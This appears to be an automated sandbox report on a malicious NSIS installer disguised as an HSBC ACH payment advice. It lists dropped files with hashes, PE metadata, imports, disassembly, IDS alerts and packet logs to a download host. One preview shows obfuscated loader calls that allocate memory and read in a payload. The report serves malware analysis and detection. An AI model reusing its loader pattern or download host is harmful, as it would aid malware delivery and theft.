                                  • Filename: HSBC Advice_ACH_Credit_08082024 (1).xls, Detection: malicious, Browse
                                  Reputation:moderate, very likely benign file
                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......qr*.5.D.5.D.5.D...J.2.D.5.E.!.D.....2.D.a0t.1.D.V1n.4.D..3@.4.D.Rich5.D.........PE..L...X..`...........!....."...........).......@...............................p............@..........................B.......@..P............................`.......................................................@..X............................text...O .......".................. ..`.rdata..c....@.......&..............@..@.data...x....P.......*..............@....reloc.......`.......,..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

                                  C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\struldbrug\bentwoods\Altabolchets.Zam

                                  Download File
                                  Process:C:\Users\user\Desktop\stormskridtets.exe
                                  File Type:data
                                  Category:dropped
                                  Size (bytes):200108
                                  Entropy (8bit):7.384172497593027
                                  Encrypted:false
                                  SSDEEP:3072:8urNj81sfE7JaladDwBe+rhZttDTw+2R2jrFE+iyN7xbhISeDmXkB02iUmZMkTi:NN4p7Jai+DDMVcFExq9OEkB0+kTi
                                  MD5:12EDAC59CEA3CFA8D1F8E8BA40501BC0
                                  SHA1:A4190D2506BD3AAB5F92ED4471BD46A8D589B93C
                                  SHA-256:B820B6C38C0287360A88BF5E90D17EDEB5297B84575D3CF85572B4DCA205261A
                                  SHA-512:058FFF27F3121FAF422F741A27C3BBFB71236122789B6760934EAC4724781B1CFA12048A180B29166D7F637AA0E054031BCE1E0AFF35EF968B06EDD2B7F4BB6F
                                  Malicious:false
                                  Reputation:low
                                  Preview:.........................f.........................~~~~~~...v...YYY."......`...............b..............~..n..............N.kk.4........hh.......................i.:................................................V..........@@@@....AAAAA...............s..[[[[[......&.........(......qqqqqqqq.VV..................................????............................................)))........................d......;;..II........................===..............ggg.555555.....m..................'...''.NN...r......FFFF.......O.......x...]]]..........\\.``......!.....::.............nn..........8......C.........oooo.SSSSS......]].........0000....c.................^^..HH.]]...........................VV.SS......,....y..............................:::..................................'..#.........>...PPP.............v...xxxx........................................4.......................n...................z...$$$.5.*............^^^^..... ....\......e....777.OO..|.......22.......#.g...uu...........~

                                  C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\struldbrug\bentwoods\Maleriet213.arc

                                  Download File
                                  Process:C:\Users\user\Desktop\stormskridtets.exe
                                  File Type:data
                                  Category:dropped
                                  Size (bytes):244482
                                  Entropy (8bit):1.2509108197987615
                                  Encrypted:false
                                  SSDEEP:768:ArczTS8oocp0tWLSMkXWg7PKU30gfL4Qf1AUdyM03I3xkjFlu7NDSAZd+6XYIHXd:7Yhp0ckXv78owAC3MhxqI
                                  MD5:E6AC7A31DA2D4322339135AD20EB0F23
                                  SHA1:F76C6D6EE7C9B01DB799642990AA88B140003EC4
                                  SHA-256:00FAD7EC11DB9706955FDF3BE0E6FB037E9F9780F94A502A774B30AB52773A94
                                  SHA-512:C87DABB08D092D546FF80270B052CF1C5D92D25852DBFECC139CE528CCD2A22CCE130A8C90C08117DF542E6D83DE91E92180F853C201F042BED4681D4737E75D
                                  Malicious:false
                                  Reputation:low
                                  Preview:............................................w.........................................................................\.............................o.............q......................................]..........................I...............!...............................................m....... ............................................................................................h......K................=............................................................r..................................W....................................................................R......................................p..0...........................................................k.........k........................d........................................................................................................................9....................................#.....A........`...9...............P.......................................................................\...............

                                  C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\struldbrug\bentwoods\Valdemarsdags\Tricolette\persongalleriers.una

                                  Download File
                                  Process:C:\Users\user\Desktop\stormskridtets.exe
                                  File Type:data
                                  Category:dropped
                                  Size (bytes):276701
                                  Entropy (8bit):1.2570216910370695
                                  Encrypted:false
                                  SSDEEP:768:yFPJSwGwS4JXi8PNDQNMDeMW3SGBqGHw1zwpmPMoaO64g1abi4IZxeMcdN9vfd95:/rFf4EoTti54LkFvI3oDW
                                  MD5:18C3DA2AA022FF0B89999E28E6A2AE9A
                                  SHA1:0659DDE0FD4B39B22825F1645A0BAE7E7202C7F9
                                  SHA-256:05DE1FF63CC38C7C4B3034091A311791BFF578658FF17D156AA4FB41A2E197C6
                                  SHA-512:D3A51D8B29FEF026F94B339087413319E03DA3193D9159A43AD7B4FEE35A67EEEBC3E66A0092B5ED14F57458173D518C618F2EE00F4203F428EBE0FC162F667C
                                  Malicious:false
                                  Reputation:low
                                  Preview:......................................................(.L.................................3........&.................."...........l........................s.....................................-...........................8..........@.........................................................h..................................@.........).........................I.................F..................................................................T..............................................................j..".......#I.............r.............&..................|...............................................................................:.Z......................).............................................................................H.......C...........................................................................................t.........................................................M.............4........'........................................}..+.......................

                                  C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\struldbrug\bentwoods\Valdemarsdags\leakers.txt

                                  Download File
                                  Process:C:\Users\user\Desktop\stormskridtets.exe
                                  File Type:ASCII text, with CRLF line terminators
                                  Category:dropped
                                  Size (bytes):589
                                  Entropy (8bit):4.277818373535095
                                  Encrypted:false
                                  SSDEEP:12:mScXAtJsdW8lLQIVVCTP1t0laiam6mObo/Bpqwnh2yKbdB1j1f:mSrTsdRTVVM9Yz69Hwh2yKb7ff
                                  MD5:E80E34F461528DF8F86C4248C971B2AD
                                  SHA1:A1A74D8F5711DEED35AF2B81BE070CA471C39500
                                  SHA-256:F2552D843F4D62F481743A15B7C95AA322C14EA5DBB999C8C889A42CBB093A8E
                                  SHA-512:46A5D6487131677DAC16C2BE4FC29517C14CB8DB6228B40344D733597462122EF0D1D7DD69B4D5A7A10F9C86635F99D91E91AC2CEBDF923C6B72EF3809637622
                                  Malicious:false
                                  Preview:pervalvar udvalgsarbejderne illegitime besully.trvarefabrikkers stemmeslugers binomialfordelingernes metropolit.mariolatrous griffy fiskeeksporten valutapuklerne spekulanter infusioners quantifys unconsolidation digitalises forvaltningsret..steticismens advents syde rebaptization returneredes chemosterilants agtvrdige,balklines sludres drengestregers topful koordinatvrdien angorakats tendensromanens blockheadish lidelsesfller eskapismes amiably phenicious nontenurial..overspringe udmntede agnostiker polycarpic stolper lbskes forhandlingsomraader acquires duskly kildnes gaultherase..

                                  C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\struldbrug\bentwoods\Wastiest60.her

                                  Download File
                                  Process:C:\Users\user\Desktop\stormskridtets.exe
                                  File Type:data
                                  Category:dropped
                                  Size (bytes):18954
                                  Entropy (8bit):4.592912110163041
                                  Encrypted:false
                                  SSDEEP:384:p7DQCuvcD9DRMJBzG15XziIFs819m6hRzvo0:pXQtYiMbXzDs83LzP
                                  MD5:C3F67D5117727BFB8A7D6123D9287DB2
                                  SHA1:BA47C2F439F738E7308C90CCD74F9FBBF9E9B6B2
                                  SHA-256:8A69F05410826DDAC0B26A87005B747429C3BA6A3884FA3DC920E9F1F0AA3D29
                                  SHA-512:C06F8C76295F70158D7C1A1742182AA0A469AFA2905BF5641167EFF925D2636B6E4CDC4CE86D7F54C191BFD08102440AE94A58451AAD60B11BD6923BD1776324
                                  Malicious:false
                                  Preview:................8.........u......N...I....................t.}.e.......+......6...22............k...e...r...n...e...l...3...2...:...:...C...r..Ue...a.MMt...e...F...i...l...e...A...(...m... ...r.O.4... ..+,... ...i... ...0...x...8.**0...0...0.ZZ0.K.0..b0...0...,... ...i... ..30.Z.,..% ...p... ...0...,.4. ...i... ...4...,... ...i..8 ...0.).x...8..E0...,... ...i... ...0...)...i.......r...8..&....k...e...r...n..6e...l...3...2...:...:...S...e...t...F...i..kl..>e._.P...o..mi...n...t.?.e...r..G(.yyi... ...r...8...,... ...i... ...2...3..m0.BB1..%2... ...,.77 ...i... ...0...,...i... ...0...)...i.......r...4.....a.k...e...r...n...e...l.{.3...2...:..S:.-.V...i...r...t...u...a...l...A...l...l...o...c...(...i... ..R0...,...i... ...9...5...1...2..q1..T4.Z.0...8...,... ...i... ...0..9x...3.M.0...0..\0..0,... ...i.MM ...0...x...4.000...)...p.......r...2.......k...e...r...n...e...l...3...2...:...:..ZR...e...a...d...F...i...l...e...(...i... ...r...8...,... ..Wi... ..hr...2...,... .<.i..> ..>9...5...1...2

                                  C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\struldbrug\bentwoods\afsgning.for

                                  Download File
                                  Process:C:\Users\user\Desktop\stormskridtets.exe
                                  File Type:data
                                  Category:dropped
                                  Size (bytes):430713
                                  Entropy (8bit):1.2530301266200883
                                  Encrypted:false
                                  SSDEEP:1536:vu65sFtuGbUq4CCWG9TcLs9xEEc0MVWFnhMA:2PjbUquWUYs/9x
                                  MD5:8ED0D91C7C65B02A5630D1A012895C3D
                                  SHA1:FA74C3BD3A32123D71AEA67D386B5AC251FEC260
                                  SHA-256:1113E4990BEF55E4CD1D868513B2305C72803FB296D559BFA9C8C93DE2EDC8AB
                                  SHA-512:FBE41906CCABB44E8D71D7664B756F75ABDBF0FB80BFCBBF4BBA9D9370DF4CEDBE437BA9F116B3F9E9D2AE2FB1E2D34D34F152E518A2E5E0096A506093F8DB24
                                  Malicious:false
                                  Preview:..[.Z.....?............#......................................................0.....B..x....................................................Q.......Z......................I....j............{..........................................................................................................................................-.....7..............................M........9.U...........?...............................................................X..................../.....................t...............4................,........`........~..............d............................u............{.....................a.............................5.............{...g....Z.................H................l..........................S.............................................................................................................................J...........................................U............................x.....f.............D..../....o........................QLi...

                                  C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\struldbrug\bentwoods\bookishly.egg

                                  Download File
                                  Process:C:\Users\user\Desktop\stormskridtets.exe
                                  File Type:data
                                  Category:dropped
                                  Size (bytes):223405
                                  Entropy (8bit):1.2642457624863013
                                  Encrypted:false
                                  SSDEEP:768:DDh04DrooyUGbNSipoS0yYEt0ihBLBJU06zf8VWZt+il3sVxTD6I6o9+2u5inuB4:rorpFGQVWwj9bQdun2ljrAbUGl
                                  MD5:96E6C0CBBACF232110DF3E7FC4B4D980
                                  SHA1:FC18FDD4E5417AC76F68BF507AC0BA6B9A183CFE
                                  SHA-256:04F64748055424253509A229EE3E6F9BFC86898CBA667DA8312333552987B610
                                  SHA-512:8DD22ABBED1522A08E9AC3559F5CC6871B77C1B76C2A7AA0CD61E52CA7D3A43DCBAF00285BF29C1FF885FC5F424FA411F56F19EB1886DA97CC7010BCA66530A9
                                  Malicious:false
                                  Preview:....................................{............!.............Q.............................................................................:...........z..................................W.......................... ......................................3...........y...............j................!n...............................................................................3........................+.......................a.......................c........................................)............................................................................................................................?.............................................................................................S....../.....................................................6./...t..+.......................H............{..........&................................b............................R.......x....=..................V....]........>...................................m................0.....

                                  C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\struldbrug\bentwoods\etisk.hvs

                                  Download File
                                  Process:C:\Users\user\Desktop\stormskridtets.exe
                                  File Type:DIY-Thermocam raw data (Lepton 2.x), scale 175-0, spot sensor temperature 0.000000, unit celsius, color scheme 0, calibration: offset 0.000000, slope 8.000000
                                  Category:dropped
                                  Size (bytes):385914
                                  Entropy (8bit):1.2561626561864936
                                  Encrypted:false
                                  SSDEEP:768:++TtgE2yMxqLKoiyt4CpVdIwu3Uema6LhlEv9cCAXP69rBqGDpx/NEJKTPLqqQJl:bMFgNCAE6oLJS9a/IrOyTWq2uC
                                  MD5:A4946227DE4DC2A79BF473A3D09C4247
                                  SHA1:9FF800E6B4A72B6281D812710D00AD003F757170
                                  SHA-256:1F6BB50C9AC95A61782FCDE006B6E396ACEDA7794FD30FFB7D97020FD7B8059E
                                  SHA-512:2902630584092375E1A2FB4669437C43548BC0D0E00B2B98A3FDAEEDC57F3567B61A3FC545C8157FD410D6E26C9A70E8D989E97983700FFB55D9D1154CEBE1F4
                                  Malicious:false
                                  Preview:..................................................#..................................._............................{.........................P................$.............................................................................................}............&................g.........................................A................................................K................................................Z..............-......5.........................................................e.......d..........................................L...............0......C................).................................................................................r............Q..2........................9................(...............................................t......................................................................>.....b..8.....................n.............]..................F.....................................U...................................S.........

                                  C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\struldbrug\bentwoods\porkiest.mis

                                  Download File
                                  Process:C:\Users\user\Desktop\stormskridtets.exe
                                  File Type:data
                                  Category:dropped
                                  Size (bytes):313672
                                  Entropy (8bit):1.2567166720965932
                                  Encrypted:false
                                  SSDEEP:768:iEGLlMkjkYtwS3MeXM3OpckON5VIbjnI3Oif4NxZSqJbDvz+hE7IkHAYsaW3DQLF:LtWLdp3I3yrt+3SoTMU5oT5
                                  MD5:17B0342D31B6E728E13DF79009833371
                                  SHA1:B9F3354C4E886382D220D5EC4FA91F389585BD40
                                  SHA-256:8CAF84CE635BD92186709E81D12AE352E049C83B53F1C22A6DCB221E8F1C011E
                                  SHA-512:4772F5AE64E0619B23114A41785DDE7DD1A9BACE12A9ABEDEF3400EDB3660D4E780C9B91E23A9FDEC1D97BCF7DC48E201771D7D58EB1740191A05CCFDB433C83
                                  Malicious:false
                                  Preview:....................N............................k....................................................#.................................................................................`........0.............u...................................y................................................................g.........7................E.......&........w..............................................*....................<..................................3................i.......................................................................U...).................................................. ........................................................................................................................A..............................N......c.b.......................................................................................................N........T..............................................h..............................................................................

                                  Static File Info

                                  General

                                  File type:PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
                                  Entropy (8bit):6.4611139525674455
                                  TrID:
                                  • Win32 Executable (generic) a (10002005/4) 99.96%
                                  • Generic Win/DOS Executable (2004/3) 0.02%
                                  • DOS Executable Generic (2002/1) 0.02%
                                  • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                  File name:stormskridtets.exe
                                  File size:916'008 bytes
                                  MD5:838ac221b23f5affc17264c2b300545b
                                  SHA1:0e27e1f85c110a3ca1b28f01ba01739c3c55ad4f
                                  SHA256:c6e35a056fce892b6af5ed62f23168202f390da229139df20cde3599108d7cf7
                                  SHA512:a4bf3c63f6c19049e08b29435ca51544635a9eb3ed2cb53ac88ebccfb8f6a50d581c878dbde4352f5590cf47277db5b64de1b978e6b294cff8a21bee57c7bbfa
                                  SSDEEP:12288:l3nIlxitr1ZKsY92p5EcBdHdMXjwxipfpQGYAGau5yxX9O9L:l3IviZKl9WpdMXjUiNuGYpawA9uL
                                  TLSH:94155849A38C90C6CD3A3B32F94D7613B655AC178950148A3AC8BE583BF57B07B5FA31
                                  File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........!`G.@...@...@../OQ..@...@..I@../OS..@...c>..@..+F...@..Rich.@..........................PE..L......`.................f....:....

                                  File Icon

                                  Icon Hash:d3672eac1a0c662c

                                  Static PE Info

                                  General

                                  Entrypoint:0x4034a2
                                  Entrypoint Section:.text
                                  Digitally signed:true
                                  Imagebase:0x400000
                                  Subsystem:windows gui
                                  Image File Characteristics:RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
                                  DLL Characteristics:DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
                                  Time Stamp:0x60FC90D1 [Sat Jul 24 22:14:41 2021 UTC]
                                  TLS Callbacks:
                                  CLR (.Net) Version:
                                  OS Version Major:4
                                  OS Version Minor:0
                                  File Version Major:4
                                  File Version Minor:0
                                  Subsystem Version Major:4
                                  Subsystem Version Minor:0
                                  Import Hash:6e7f9a29f2c85394521a08b9f31f6275

                                  Authenticode Signature

                                  Signature Valid:false
                                  Signature Issuer:CN=Kindbenene, O=Kindbenene, L=Denhead, C=GB
                                  Signature Validation Error:A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
                                  Error Number:-2146762487
                                  Not Before, Not After
                                  • 07/12/2023 10:57:47 06/12/2026 10:57:47
                                  Subject Chain
                                  • CN=Kindbenene, O=Kindbenene, L=Denhead, C=GB
                                  Version:3
                                  Thumbprint MD5:203D9FA965DAAA9A37EC03480794A233
                                  Thumbprint SHA-1:2E8415837C9E529F873042ED9F2B81A9B556344C
                                  Thumbprint SHA-256:02A55E8E1001DE781862342582E052BDFD52F52297ACA19B73FF18ECD6176686
                                  Serial:2BDDB10387F1BB6567D52E9F439C3BAA7C7A5108

                                  Entrypoint Preview

                                  Instruction
                                  sub esp, 000002D4h
                                  push ebx
                                  push esi
                                  push edi
                                  push 00000020h
                                  pop edi
                                  xor ebx, ebx
                                  push 00008001h
                                  mov dword ptr [esp+14h], ebx
                                  mov dword ptr [esp+10h], 0040A2E0h
                                  mov dword ptr [esp+1Ch], ebx
                                  call dword ptr [004080CCh]
                                  call dword ptr [004080D0h]
                                  and eax, BFFFFFFFh
                                  cmp ax, 00000006h
                                  mov dword ptr [007A8A6Ch], eax
                                  je 00007FCBA8852F03h
                                  push ebx
                                  call 00007FCBA88561F1h
                                  cmp eax, ebx
                                  je 00007FCBA8852EF9h
                                  push 00000C00h
                                  call eax
                                  mov esi, 004082B0h
                                  push esi
                                  call 00007FCBA885616Bh
                                  push esi
                                  call dword ptr [00408154h]
                                  lea esi, dword ptr [esi+eax+01h]
                                  cmp byte ptr [esi], 00000000h
                                  jne 00007FCBA8852EDCh
                                  push 0000000Bh
                                  call 00007FCBA88561C4h
                                  push 00000009h
                                  call 00007FCBA88561BDh
                                  push 00000007h
                                  mov dword ptr [007A8A64h], eax
                                  call 00007FCBA88561B1h
                                  cmp eax, ebx
                                  je 00007FCBA8852F01h
                                  push 0000001Eh
                                  call eax
                                  test eax, eax
                                  je 00007FCBA8852EF9h
                                  or byte ptr [007A8A6Fh], 00000040h
                                  push ebp
                                  call dword ptr [00408038h]
                                  push ebx
                                  call dword ptr [00408298h]
                                  mov dword ptr [007A8B38h], eax
                                  push ebx
                                  lea eax, dword ptr [esp+34h]
                                  push 000002B4h
                                  push eax
                                  push ebx
                                  push 0079FF08h
                                  call dword ptr [0040818Ch]
                                  push 0040A2C8h

                                  Rich Headers

                                  Programming Language:
                                  • [EXP] VC++ 6.0 SP5 build 8804

                                  Data Directories

                                  NameVirtual AddressVirtual Size Is in Section
                                  IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                  IMAGE_DIRECTORY_ENTRY_IMPORT0x85040xa0.rdata
                                  IMAGE_DIRECTORY_ENTRY_RESOURCE0x3de0000x56ef8.rsrc
                                  IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                  IMAGE_DIRECTORY_ENTRY_SECURITY0xdf1280x900.data
                                  IMAGE_DIRECTORY_ENTRY_BASERELOC0x00x0
                                  IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                  IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                  IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                  IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                  IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                  IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                  IMAGE_DIRECTORY_ENTRY_IAT0x80000x2b0.rdata
                                  IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                  IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                  IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                  Sections

                                  NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                  .text0x10000x656c0x660012117ad2476c7a7912407af0dcfcb8a7False0.6737515318627451data6.47208759712619IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                  .rdata0x80000x13980x1400e3e8d62e1d2308b175349eb9daa266c8False0.4494140625data5.137750894959169IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                  .data0xa0000x39eb780x6002020ca26e010546720fd467c5d087b57unknownunknownunknownunknownIMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                  .ndata0x3a90000x350000x0d41d8cd98f00b204e9800998ecf8427eFalse0empty0.0IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                  .rsrc0x3de0000x56ef80x57000c1896e67b80e50079ebeadcac8c0d8c3False0.13646338451867815data2.5203155069997596IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

                                  Resources

                                  NameRVASizeTypeLanguageCountryZLIB Complexity
                                  RT_ICON0x3de2c80x42028Device independent bitmap graphic, 256 x 512 x 32, image size 0EnglishUnited States0.11415584223451786
                                  RT_ICON0x4202f00x10828Device independent bitmap graphic, 128 x 256 x 32, image size 0EnglishUnited States0.17530758310658937
                                  RT_ICON0x430b180x25a8Device independent bitmap graphic, 48 x 96 x 32, image size 0EnglishUnited States0.27551867219917014
                                  RT_ICON0x4330c00x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 0EnglishUnited States0.3295028142589118
                                  RT_ICON0x4341680x468Device independent bitmap graphic, 16 x 32 x 32, image size 0EnglishUnited States0.47074468085106386
                                  RT_DIALOG0x4345d00x100dataEnglishUnited States0.5234375
                                  RT_DIALOG0x4346d00x11cdataEnglishUnited States0.6056338028169014
                                  RT_DIALOG0x4347f00xc4dataEnglishUnited States0.5918367346938775
                                  RT_DIALOG0x4348b80x60dataEnglishUnited States0.7291666666666666
                                  RT_GROUP_ICON0x4349180x4cdataEnglishUnited States0.7894736842105263
                                  RT_VERSION0x4349680x250dataEnglishUnited States0.5287162162162162
                                  RT_MANIFEST0x434bb80x33eXML 1.0 document, ASCII text, with very long lines (830), with no line terminatorsEnglishUnited States0.5542168674698795

                                  Imports

                                  DLLImport
                                  ADVAPI32.dllRegCreateKeyExW, RegEnumKeyW, RegQueryValueExW, RegSetValueExW, RegCloseKey, RegDeleteValueW, RegDeleteKeyW, AdjustTokenPrivileges, LookupPrivilegeValueW, OpenProcessToken, SetFileSecurityW, RegOpenKeyExW, RegEnumValueW
                                  SHELL32.dllSHGetSpecialFolderLocation, SHFileOperationW, SHBrowseForFolderW, SHGetPathFromIDListW, ShellExecuteExW, SHGetFileInfoW
                                  ole32.dllOleInitialize, OleUninitialize, CoCreateInstance, IIDFromString, CoTaskMemFree
                                  COMCTL32.dllImageList_Create, ImageList_Destroy, ImageList_AddMasked
                                  USER32.dllGetClientRect, EndPaint, DrawTextW, IsWindowEnabled, DispatchMessageW, wsprintfA, CharNextA, CharPrevW, MessageBoxIndirectW, GetDlgItemTextW, SetDlgItemTextW, GetSystemMetrics, FillRect, AppendMenuW, TrackPopupMenu, OpenClipboard, SetClipboardData, CloseClipboard, IsWindowVisible, CallWindowProcW, GetMessagePos, CheckDlgButton, LoadCursorW, SetCursor, GetWindowLongW, GetSysColor, SetWindowPos, PeekMessageW, SetClassLongW, GetSystemMenu, EnableMenuItem, GetWindowRect, ScreenToClient, EndDialog, RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, FindWindowExW, IsWindow, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, EmptyClipboard, CreatePopupMenu
                                  GDI32.dllSetBkMode, SetBkColor, GetDeviceCaps, CreateFontIndirectW, CreateBrushIndirect, DeleteObject, SetTextColor, SelectObject
                                  KERNEL32.dllGetExitCodeProcess, WaitForSingleObject, GetModuleHandleA, GetProcAddress, GetSystemDirectoryW, lstrcatW, Sleep, lstrcpyA, WriteFile, GetTempFileNameW, CreateFileW, lstrcmpiA, RemoveDirectoryW, CreateProcessW, CreateDirectoryW, GetLastError, CreateThread, GlobalLock, GlobalUnlock, GetDiskFreeSpaceW, WideCharToMultiByte, lstrcpynW, lstrlenW, SetErrorMode, GetVersion, GetCommandLineW, GetTempPathW, GetWindowsDirectoryW, SetEnvironmentVariableW, ExitProcess, CopyFileW, GetCurrentProcess, GetModuleFileNameW, GetFileSize, GetTickCount, MulDiv, SetFileAttributesW, GetFileAttributesW, SetCurrentDirectoryW, MoveFileW, GetFullPathNameW, GetShortPathNameW, SearchPathW, CompareFileTime, SetFileTime, CloseHandle, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalFree, GlobalAlloc, GetModuleHandleW, LoadLibraryExW, MoveFileExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, lstrlenA, MultiByteToWideChar, ReadFile, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW

                                  Possible Origin

                                  Language of compilation systemCountry where language is spokenMap
                                  EnglishUnited States

                                  Network Behavior

                                  Suricata IDS Alerts

                                  TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                  2024-11-04T16:09:24.887337+01002022930ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow120.12.23.50443192.168.2.749741TCP
                                  2024-11-04T16:10:11.460079+01002022930ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow120.12.23.50443192.168.2.749882TCP
                                  2024-11-04T16:10:25.245150+01002803270ETPRO MALWARE Common Downloader Header Pattern UHCa2192.168.2.749951173.249.193.4880TCP

                                  Network Port Distribution

                                  TCP Packets

                                  TimestampSource PortDest PortSource IPDest IP
                                  Nov 4, 2024 16:10:24.500150919 CET4995180192.168.2.7173.249.193.48
                                  Nov 4, 2024 16:10:24.505028009 CET8049951173.249.193.48192.168.2.7
                                  Nov 4, 2024 16:10:24.505100012 CET4995180192.168.2.7173.249.193.48
                                  Nov 4, 2024 16:10:24.505764961 CET4995180192.168.2.7173.249.193.48
                                  Nov 4, 2024 16:10:24.511116028 CET8049951173.249.193.48192.168.2.7
                                  Nov 4, 2024 16:10:25.244894981 CET8049951173.249.193.48192.168.2.7
                                  Nov 4, 2024 16:10:25.245070934 CET8049951173.249.193.48192.168.2.7
                                  Nov 4, 2024 16:10:25.245084047 CET8049951173.249.193.48192.168.2.7
                                  Nov 4, 2024 16:10:25.245095968 CET8049951173.249.193.48192.168.2.7
                                  Nov 4, 2024 16:10:25.245150089 CET4995180192.168.2.7173.249.193.48
                                  Nov 4, 2024 16:10:25.245189905 CET4995180192.168.2.7173.249.193.48
                                  Nov 4, 2024 16:10:25.245991945 CET8049951173.249.193.48192.168.2.7
                                  Nov 4, 2024 16:10:25.246006012 CET8049951173.249.193.48192.168.2.7
                                  Nov 4, 2024 16:10:25.246016979 CET8049951173.249.193.48192.168.2.7
                                  Nov 4, 2024 16:10:25.246042013 CET4995180192.168.2.7173.249.193.48
                                  Nov 4, 2024 16:10:25.246077061 CET4995180192.168.2.7173.249.193.48
                                  Nov 4, 2024 16:10:25.247143984 CET8049951173.249.193.48192.168.2.7
                                  Nov 4, 2024 16:10:25.247158051 CET8049951173.249.193.48192.168.2.7
                                  Nov 4, 2024 16:10:25.247168064 CET8049951173.249.193.48192.168.2.7
                                  Nov 4, 2024 16:10:25.247205973 CET4995180192.168.2.7173.249.193.48
                                  Nov 4, 2024 16:10:25.250020981 CET8049951173.249.193.48192.168.2.7
                                  Nov 4, 2024 16:10:25.250071049 CET4995180192.168.2.7173.249.193.48
                                  Nov 4, 2024 16:10:25.250206947 CET8049951173.249.193.48192.168.2.7
                                  Nov 4, 2024 16:10:25.255393028 CET4995180192.168.2.7173.249.193.48
                                  Nov 4, 2024 16:10:25.361809015 CET8049951173.249.193.48192.168.2.7
                                  Nov 4, 2024 16:10:25.361874104 CET8049951173.249.193.48192.168.2.7
                                  Nov 4, 2024 16:10:25.361881018 CET4995180192.168.2.7173.249.193.48
                                  Nov 4, 2024 16:10:25.361917019 CET4995180192.168.2.7173.249.193.48
                                  Nov 4, 2024 16:10:25.361988068 CET8049951173.249.193.48192.168.2.7
                                  Nov 4, 2024 16:10:25.362054110 CET4995180192.168.2.7173.249.193.48
                                  Nov 4, 2024 16:10:25.365664959 CET8049951173.249.193.48192.168.2.7
                                  Nov 4, 2024 16:10:25.365684032 CET8049951173.249.193.48192.168.2.7
                                  Nov 4, 2024 16:10:25.365745068 CET4995180192.168.2.7173.249.193.48
                                  Nov 4, 2024 16:10:25.366146088 CET8049951173.249.193.48192.168.2.7
                                  Nov 4, 2024 16:10:25.366158962 CET8049951173.249.193.48192.168.2.7
                                  Nov 4, 2024 16:10:25.366213083 CET4995180192.168.2.7173.249.193.48
                                  Nov 4, 2024 16:10:25.367724895 CET8049951173.249.193.48192.168.2.7
                                  Nov 4, 2024 16:10:25.367738962 CET8049951173.249.193.48192.168.2.7
                                  Nov 4, 2024 16:10:25.367749929 CET8049951173.249.193.48192.168.2.7
                                  Nov 4, 2024 16:10:25.367815971 CET4995180192.168.2.7173.249.193.48
                                  Nov 4, 2024 16:10:25.368316889 CET8049951173.249.193.48192.168.2.7
                                  Nov 4, 2024 16:10:25.368326902 CET8049951173.249.193.48192.168.2.7
                                  Nov 4, 2024 16:10:25.368339062 CET8049951173.249.193.48192.168.2.7
                                  Nov 4, 2024 16:10:25.368350029 CET8049951173.249.193.48192.168.2.7
                                  Nov 4, 2024 16:10:25.368375063 CET4995180192.168.2.7173.249.193.48
                                  Nov 4, 2024 16:10:25.368406057 CET4995180192.168.2.7173.249.193.48
                                  Nov 4, 2024 16:10:25.480200052 CET8049951173.249.193.48192.168.2.7
                                  Nov 4, 2024 16:10:25.480443001 CET8049951173.249.193.48192.168.2.7
                                  Nov 4, 2024 16:10:25.480456114 CET8049951173.249.193.48192.168.2.7
                                  Nov 4, 2024 16:10:25.480554104 CET4995180192.168.2.7173.249.193.48
                                  Nov 4, 2024 16:10:25.480918884 CET8049951173.249.193.48192.168.2.7
